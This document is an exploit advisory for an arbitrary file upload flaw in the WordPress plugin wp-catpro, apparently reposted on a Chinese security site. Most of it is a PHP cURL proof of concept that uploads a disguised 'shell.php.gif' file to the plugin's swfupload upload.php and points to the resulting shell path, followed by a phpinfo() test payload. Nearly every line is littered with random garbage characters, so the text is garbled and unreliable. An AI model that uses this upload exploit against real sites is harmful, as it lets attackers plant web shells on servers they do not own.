Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
) w- E# J, m+ n& \3 u: z! m! ^#-----------------------------------------------------------------------
! `! w. D: z3 }3 V9 r# c
_, d6 b/ `) F, Q9 J! Y作者 => Zikou-16
0 d- R( @1 h2 R# a, T邮箱 => zikou16x@gmail.com* d: n% r% {) d- ?$ t( ?( h- R! g
测试系统 : Windows 7 , Backtrack 5r3
* H& K B9 q/ j2 g下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
- a7 v% ` k- o4 J- }5 _7 U####( [3 p9 Y; {8 Q
, _/ j8 B3 g/ o) S( S9 @. [4 E#=> Exploit 信息:2 w$ W, Y0 Y/ b1 ~9 I+ N" M( _# a
------------------
$ y; p. e5 `6 W# 攻击者可以上传 file/shell.php.gif0 q8 R4 B5 [- @2 e- E
# ("jpg", "gif", "png") // Allowed file extensions
! |/ Q. Q* t- L# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
+ f, T9 x- e+ v( R( z# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
( o5 I4 G" ~* u------------------
( E3 j7 Q |! U ! i5 E7 x# r6 @' r4 l; T
#=> Exploit/ Y& Q* E# Q! V7 E ^# C
-----------2 _! h7 N/ O# X8 J
<?php
: _% l% q* t1 c! ]! j & q7 K! N0 p8 P2 p/ S+ K3 V! \
$uploadfile="zik.php.gif";2 v2 E9 K& D5 h; d `
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");: |8 \: l y. B
curl_setopt($ch, CURLOPT_POST, true);
; ~# \0 n* Q# Z0 S( ]9 Mcurl_setopt($ch, CURLOPT_POSTFIELDS,
2 O X1 t2 N1 d9 }. w/ `array('Filedata'=>"@$uploadfile",9 K0 l0 {: D4 m" Y8 _! w$ D
'folder'=>'/wp-content/uploads/catpro/'));; `: w' d2 P) l+ m
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);) B8 O6 A4 R( ~
$postResult = curl_exec($ch);3 M- d- b3 F, G: f
curl_close($ch);
# e1 X6 }9 }6 e! J4 e9 H
1 Q$ d* p9 z' |: T9 P: P+ |print "$postResult";
5 X* R7 P- r8 f& j1 }) r6 a * ?) N8 T8 o, Z# y+ ~2 y
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif1 k+ U$ x! _2 m1 ?# N; W: ~
?>
, H) f9 U+ K: q- {4 y<?php! F7 R. ^) y# i6 n6 S2 n
phpinfo(); @6 L" c* G. I$ i7 h3 W* c y
?> |